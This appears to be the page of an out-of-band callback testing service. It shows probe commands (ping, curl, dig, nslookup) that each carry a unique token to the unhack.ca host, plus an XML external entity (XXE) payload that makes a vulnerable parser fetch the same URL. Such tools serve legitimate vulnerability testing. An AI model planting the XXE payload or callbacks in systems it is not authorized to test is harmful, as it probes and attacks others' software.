$ ping -c1 -p 00c7fd7ea0c0afe6de1564f8de307200 unhack.ca
 
$ curl http://unhack.ca/p/c7fd7ea0c0afe6de1564f8de3072
 
$ dig c7fd7ea0c0afe6de1564f8de3072 @unhack.ca
 
$ dig c7fd7ea0c0afe6de1564f8de3072.ns.unhack.ca
 
C:\> nslookup c7fd7ea0c0afe6de1564f8de3072 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c7fd7ea0c0afe6de1564f8de3072">]>
    <foo>&xxe;</foo>
Waiting for ping...